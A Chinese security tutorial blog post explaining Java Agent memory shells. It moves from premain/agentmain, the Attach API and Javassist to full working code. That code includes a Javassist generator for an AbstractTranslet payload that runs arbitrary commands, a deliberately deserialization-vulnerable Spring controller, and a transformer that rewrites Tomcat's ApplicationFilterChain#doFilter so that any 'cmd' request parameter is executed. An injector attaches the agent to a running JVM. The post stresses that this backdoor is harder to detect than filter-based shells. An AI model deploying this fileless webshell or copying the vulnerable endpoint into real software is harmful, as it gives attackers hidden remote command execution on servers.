Java安全-Java Agent内存马 Agent内存马是不受Tomcat框架限制的
Java Agent简介 我们知道Java是一种静态强类型语言,在运行之前必须将其编译成.class字节码,然后再交给JVM处理运行。JavaAgent是使用Java编程语言编写的代理程序,它可以通过JVM的Instrumentation API与JVM进行交互。通过在JVM启动或应用程序运行时插入自定义的代码,JavaAgent可以在不修改应用程序源代码的情况下,实现对应用程序行为的修改和监控
实际上,平时较为常见的技术如热部署、一些诊断工具等都是基于Java Agent技术来实现的。那么Java Agent技术具体是怎样实现的呢?
Java Agent支持以下两种方式进行加载:
实现premain方法,在启动时进行加载(JDK >= 1.5)
实现agentmain方法,在启动后进行加载(JDK >= 1.6)
普通Java类以main函数作为入口点,而JavaAgent的入口点是premain和agentmain
Java Agent加载 Agent-premain(main加载前) PreMain的大体流程如下,Agent的premain方法会在main函数执行前执行
想要实现启动时执行premain方法,首先我们必须去实现premain方法,同时在我们的清单(sMainfest)中必须要包含Premain-Class属性,然后再命令行中利用-javaagent参数实现启动时加载
看上去有点复杂,这里我们来写一个Demo测试一下
首先创建一个类当作我们的Agent类,实现premain方法
1 2 3 4 5 6 7 8 9 10 import java.lang.instrument.Instrumentation;public class preAgent { public static void premain (String agentArgs, Instrumentation inst) { System.out.println(agentArgs); for (int i=0 ;i<5 ;i++){ System.out.println("premain method is invoked!" ); } } }
接着在 resource/META-INF/ 创建 agent.MF 清单文件用以指定 premain-Agent 的启动类
PS!!!:在.mf文件的最后,一定要有空行
1 2 3 Manifest-Version: 1.0 Premain-Class: preAgent
之后用命令行编译我们的preAgent.java文件,将mf清单与preAgent.class打包在一个jar包里
1 2 javac preAgent.java jar cvfm agent.jar agent.mf preAgent.class
完成了agent.jar的制作,现在去创建一个普通的实现类
1 2 3 4 5 public class Demo { public static void main (String[] args) { System.out.println("Hello,PreAgent" ); } }
将以下内容写入demo.mf
1 2 3 Manifest-Version: 1.0 Main-Class: com.example.Demo
利用同样的方法进行编译打包成Demo.jar
1 2 javac Demo.java jar cvfm Demo.jar Demo.mf Demo.class
现在有agent.jar和Demo.jar
接下来我们只需要在 java -jar 中添加 -javaagent:agent.jar 即可在启动时优先加载 agent
1 java -javaagent:agent.jar -jar Demo.jar
这个null就代表着premain方法的agentArgs参数,这里我们什么都没有传递,所以此处为null
这样就可以传参了
Agent-agentmain(JVM运行时) 上述的premain方法在JDK1.5中提供,在JDK版本为1.5时,开发者只能在main加载之前添加手脚,但是对于大部分内存马注入时,都是JVM已经运行的情况下。在JDK1.6中实现了attach-on-demand,我们可以使用AttachAPI动态的加载Agent,agentmain能够在JVM启动后加载并实现相应的修改字节码的功能。
AttachAPI在tool.jar中,而JVM启动时默认不加载该依赖,需要我们在classpath中额外进行指定
VirtualMachine类 com.sun.tools.attach.VirtualMachine类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。
该类允许我们通过给 attach 方法传入一个 JVM 的 PID,来远程连接到该 JVM 上 ,之后我们就可以对连接的 JVM 进行各种操作,如注入 Agent。下面是该类的主要方法
1 2 3 4 5 6 7 8 9 10 11 VirtualMachine.attach() VirtualMachine.loadAgent() VirtualMachine.list() VirtualMachine.detach()
VirtualMachineDescriptor 类 com.sun.tools.attach.VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor; import java.util.List; public class get_PID { public static void main (String[] args) { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ if (vmd.displayName().equals("com.drunkbaby.get_PID" )) System.out.println(vmd.id()); } } }
Demo实现 下面我们就来实现一个Agent-agentmain。首先我们编写一个 Sleep_Hello 类,模拟正在运行的 JVM
1 2 3 4 5 6 7 8 9 10 import static java.lang.Thread.sleep; public class Sleep_Hello { public static void main (String[] args) throws InterruptedException { while (true ){ System.out.println("Hello World!" ); sleep(5000 ); } } }
然后编写 AgentMain类作为一个Agent
1 2 3 4 5 6 7 8 9 10 11 12 import java.lang.instrument.Instrumentation;import static java.lang.Thread.sleep;public class AgentMain { public static void agentmain (String args, Instrumentation inst) throws InterruptedException { while (true ){ System.out.println("调用agentmain-Agent!" ); sleep(3000 ); } } }
同时配置 agentmain.mf 文件
1 2 3 Manifest-Version: 1.0 Agent-Class: AgentMain
接着像之前一样编译打包成jar包
(个人认为这里jar包中不需要放入Sleep_Hello.class)
1 2 3 javac AgentMain.java javac Sleep_Hello.java jar cvfm AgentMain.jar agentmain.mf AgentMain.class Sleep_Hello .class
得到我们设置好的agent的jar包
最后准备一个 Inject 类,将我们的 agent-main 注入目标 JVM:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import com.sun.tools.attach.*;import java.io.IOException;import java.util.List;public class Inject_Agent { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ if (vmd.displayName().equals("Sleep_Hello" )){ VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("D:\\javaEE练习\\demo\\src\\main\\java\\AgentMain.jar" ); virtualMachine.detach(); } } } }
这里想要实操是要手动添加tools.jar到库,再应用到模块
先运行目标 JVM(Sleep_Hello),再运行 inject 类进行注入,最后结果如下,一开始是只输出 hello, world 的,运行 inject 之后就插入了 agent-main 方法:
动态加载字节码 前提:想要操作字节码,需要项目中有Javassist 依赖
在实现 premain 的时候,我们除了能获取到 agentArgs 参数,还可以获取 Instrumentation 实例,那么 Instrumentation 实例是什么,在聊这个之前要先简单了解一下 Javassist
Javassist(操作字节码的库) Javassist简介 Java 字节码以二进制的形式存储在 .class 文件中,每一个.class文件包含一个Java类或接口。Javaassist 就是一个用来处理Java字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以通过手动的方式去生成一个新的类对象。其使用方式类似于反射
ClassPool ClassPool是CtClass对象的容器。CtClass对象必须从该对象获得。如果get()在此对象上调用,则它将搜索表示的各种源ClassPath 以查找类文件,然后创建一个CtClass表示该类文件的对象。创建的对象将返回给调用者。可以将其理解为一个存放CtClass对象的容器。
获得方法: ClassPool cp = ClassPool.getDefault();。通过 ClassPool.getDefault() 获取的 ClassPool 使用 JVM 的类搜索路径。如果程序运行在 JBoss 或者 Tomcat 等 Web 服务器上,ClassPool 可能无法找到用户的类 ,因为Web服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool 必须添加额外的类搜索路径 。
1 cp.insertClassPath(new ClassClassPath (<Class>));
CtClass 可以将其理解成加强版的Class对象,我们可以通过CtClass对目标类进行各种操作。可以ClassPool.get(ClassName)中获取。
CtMethod 同理,可以理解成加强版的Method对象。可通过CtClass.getDeclaredMethod(MethodName)获取,该类提供了一些方法以便我们能够直接修改方法体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public final class CtMethod extends CtBehavior { } public abstract class CtBehavior extends CtMember { public void setBody (String src) ; public void insertBefore (String src) ; public void insertAfter (String src) ; public int insertAt (int lineNum, String src) ; }
传递给方法 insertBefore() ,insertAfter() 和 insertAt() 的 String 对象是由Javassist 的编译器编译的 。 由于编译器支持语言扩展,以 $ 开头的几个标识符有特殊的含义:
Javassist使用示例 先添加依赖
pom.xml
1 2 3 4 5 <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.27.0-GA</version > </dependency >
创建测试类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import java.lang.reflect.Modifier;public class JavassistTest { public static void Create_Person () throws Exception { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("javassist.Person" ); CtField ctField1 = new CtField (classPool.get("java.lang.String" ), "name" , ctClass); ctField1.setModifiers(Modifier.PRIVATE); ctClass.addField(ctField1, CtField.Initializer.constant("abc" )); ctClass.addMethod(CtNewMethod.setter("setName" , ctField1)); ctClass.addMethod(CtNewMethod.getter("getName" , ctField1)); CtConstructor ctConstructor = new CtConstructor (new CtClass []{}, ctClass); ctConstructor.setBody("{name = \"abc\";}" ); ctClass.addConstructor(ctConstructor); CtMethod ctMethod = new CtMethod (CtClass.voidType,"printName" , new CtClass []{}, ctClass); ctMethod.setModifiers(Modifier.PRIVATE); ctMethod.setBody("{System.out.println(name);}" ); ctClass.addMethod(ctMethod); ctClass.writeFile("D:\\javaEE练习\\demo\\src\\main\\java" ); } public static void main (String[] args) throws Exception { Create_Person(); } }
运行后会生成Person.class
反编译出来看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package javassist;public class Person { private String name = "abc" ; public void setName (String var1) { this .name = var1; } public String getName () { return this .name; } public Person () { this .name = "abc" ; } private void printName () { System.out.println(this .name); } }
由此延展的攻击面其实是,我们可以利用 Javassist 生成一个恶意的 .class 类
使用Javassist生成恶意类 我们的恶意类需要继承AbstractTranslet类,并重写两个transform()方法。否则编译无法通过,无法生成.class文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException; public class shell extends AbstractTranslet { public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public shell () throws IOException { try { Runtime.getRuntime().exec("calc" ); } catch (Exception var2) { var2.printStackTrace(); } } }
但是该恶意类在执行过程中并没有用到重写的方法,所以我们可以直接使用Javassist从字节码层面来生成恶意class,跳过恶意类的编译过程。代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package javassist; import java.io.File; import java.io.FileOutputStream; public class EvilPayload { public static byte [] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil" ); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }" ); byte [] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte []{}; } } public static void writeShell () throws Exception { byte [] shell = EvilPayload.getTemplatesImpl("Calc" ); FileOutputStream fileOutputStream = new FileOutputStream (new File ("S" )); fileOutputStream.write(shell); } public static void main (String[] args) throws Exception { writeShell(); } }
生成的恶意文件被我们输出到了 S 这个文件中,其实很多反序列化在用的时候,是没有把这个字节码提取保存出来,本质上还是可以保存的
保存出来的文件代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; public class Evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("Calc" ); } catch (Exception var1) { } } public Evil () { } }
Instrumentation(可以修改已有类的类) Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent 通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。(可以在已有的类上附加(修改)字节码来实现增强的逻辑 ,利用Javassist库操作字节码)
其在 Java 中是一个接口,常用方法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public interface Instrumentation { void addTransformer (ClassFileTransformer transformer, boolean canRetransform) ; void addTransformer (ClassFileTransformer transformer) ; boolean removeTransformer (ClassFileTransformer transformer) ; void retransformClasses (Class<?>... classes) throws UnmodifiableClassException; boolean isModifiableClass (Class<?> theClass) ; @SuppressWarnings("rawtypes") Class[] getAllLoadedClasses(); long getObjectSize (Object objectToSize) ; }
转换类文件,该接口下只有一个方法:transform,重写该方法即可转换任意类文件,并返回新的被取代的类文件,在 java agent 内存马中便是在该方法下重写恶意代码,从而修改原有类文件代码逻辑,与 addTransformer 搭配使用
1 2 void addTransformer (ClassFileTransformer transformer, boolean canRetransform) ;
获取目标JVM已加载类 下面我们简单实现一个能够获取目标 JVM 已加载类的 agentmain-Agent
Main 方法
1 2 3 4 5 6 7 8 9 10 11 public class HelloSleep { public static void main (String[] args) throws InterruptedException { while (true ) { hello(); sleep(3000 ); } } public static void hello () { System.out.println("Hello World!" ); } }
Agent 主类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class agentmaintransform { public static void agentmain (String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException { Class [] classes = inst.getAllLoadedClasses(); for (Class cls : classes){ if (cls.getName().equals("Sleep_Hello" )){ inst.addTransformer(new Hello_Transform (),true ); inst.retransformClasses(cls); } } } }
Transformer 修改类( 恶意代码写入 )
利用Javassist类库,修改类中方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;public class HelloTransform implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { try { ClassPool classPool = ClassPool.getDefault(); if (classBeingRedefined != null ) { ClassClassPath ccp = new ClassClassPath (classBeingRedefined); classPool.insertClassPath(ccp); } CtClass ctClass = classPool.get("Sleep_Hello" ); System.out.println(ctClass); CtMethod ctMethod = ctClass.getDeclaredMethod("hello" ); String body = "{System.out.println(\"Hacker!\");}" ; ctMethod.setBody(body); byte [] bytes = ctClass.toBytecode(); return bytes; }catch (Exception e){ e.printStackTrace(); } return null ; } }
编写mf文件
如果需要修改已经被JVM加载过的类的字节码,那么还需要在MAINFEST.MF中添加Can-Retransform-Classes: true 或 Can-Redefine-Classes: true
1 2 Can-Retransform-Classes 是否支持类的重新替换 Can-Redefine-Classes 是否支持类的重新定义
1 2 3 4 Manifest-Version: 1.0 Agent-Class: agentmaintransform Can-Redefine-Classes: true Can-Retransform-Classes: true
编译后打包一下
1 2 3 javac agentmaintransform.java javac HelloTransform.java jar cvfm transform.jar transform.mf agentmaintransform.class HelloTransform.class
最后编写动态注入 Agent 的注入类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class Inject_Agent { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ System.out.println(vmd.displayName()); if (vmd.displayName().equals("Sleep_Hello" )){ VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("D:\\javaEE练习\\demo\\src\\main\\java\\transform.jar" ); virtualMachine.detach(); } } } }
局限性 大多数情况下,我们使用 Instrumentation 都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性:
premain 和 agentmain 两种方式修改字节码 的时机都是类文件加载之后,也就是说必须要带有 Class 类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。
类的字节码修改称为类转换 (Class Transform),类转换其实最终都回归到类重定义 Instrumentation#redefineClasses 方法,此方法有以下限制:
新类和老类的父类必须相同
新类和老类实现的接口数也要相同,并且是相同的接口
新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
新类和老类新增或删除的方法必须是 private static/final 修饰的
可以修改方法体
Agent内存马实战(与Tomcat结合) 在正常的实际环境中,我们遇到的情况都是已经在启动中的,premain那种方法并不适合内存马的注入,因此这里我们用agentmain来进行注入内存马
如何动态修改对应类的字节码在上文中已提过,所以我们现在第一件事是需要找到对应的类中的某个方法,这个类中的方法需要满足两个要求
该方法一定会被执行
不会影响正常的业务逻辑
环境配置 SpringBoot + CommonCollection3.2.1
写一个简单的controller
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package com.spring1.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.ObjectInputStream;@Controller public class agentFilter { @ResponseBody @RequestMapping("/cc") public String cc11Vuln (HttpServletRequest request, HttpServletResponse response) throws Exception { java.io.InputStream inputStream = request.getInputStream(); ObjectInputStream objectInputStream = new ObjectInputStream (inputStream); objectInputStream.readObject(); return "Hello,World" ; } @ResponseBody @RequestMapping("/demo") public String demo (HttpServletRequest request, HttpServletResponse response) throws Exception{ return "This is OK Demo!" ; } }
寻找入口类 在此之前我们学习过Filter内存马,当我们用户请求到达Servlet前,一定会经过Filter,以此来对我们的请求进行过滤
可以看到会按照责任链机制反复调用ApplicationFilterChain#doFilter()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public void doFilter (ServletRequest request, ServletResponse response) throws IOException, ServletException { if ( Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; try { java.security.AccessController.doPrivileged( (java.security.PrivilegedExceptionAction<Void>) () -> { internalDoFilter(req,res); return null ; } ); } ... } } else { internalDoFilter(request,response); } }
此方法中还封装了我们用户请求的 request 和 response ,那么如果我们能够注入该方法,那么我们不就可以直接获取用户的请求,将执行结果写在 response 中进行返回
利用Java Agent实现Spring Filter内存马 我们复用上面的agentmain-Agent,修改字节码的关键在于transformer()方法,因此我们重写该方法即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod; import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain; public class Filter_Transform implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { try { ClassPool classPool = ClassPool.getDefault(); if (classBeingRedefined != null ) { ClassClassPath ccp = new ClassClassPath (classBeingRedefined); classPool.insertClassPath(ccp); } CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain" ); CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter" ); String body = "{" + "javax.servlet.http.HttpServletRequest request = $1\n;" + "String cmd=request.getParameter(\"cmd\");\n" + "if (cmd !=null){\n" + " Runtime.getRuntime().exec(cmd);\n" + " }" + "}" ; ctMethod.setBody(body); byte [] bytes = ctClass.toBytecode(); return bytes; }catch (Exception e){ e.printStackTrace(); } return null ; } }
Inject_Agent_Spring类如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import com.sun.tools.attach.*; import java.io.IOException;import java.util.List; public class Inject_Agent_Spring { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ if (vmd.displayName().equals("com.example.agent.AgentApplication" )){ VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("Java_Agent.jar" ); virtualMachine.detach(); } } } }
这样只能实现在本地环境注入内存马,实战中都是通过反序列化或者文件上传注入内存马
反序列化注入内存马后续再说
小结 agent内存马的实现形式也是在打Tomcat内存马。他的实现是通过遍历所有的JVM进程,然后向 进程中注入对应的Agent类。
比较 agent内存马与filter内存马相比,会多一步将我们的agent.jar上传到目标上,利用代码将agent.jar进行注入,注入后就可以删除agent.jar
agent内存马相比于filter这些内存马更难查杀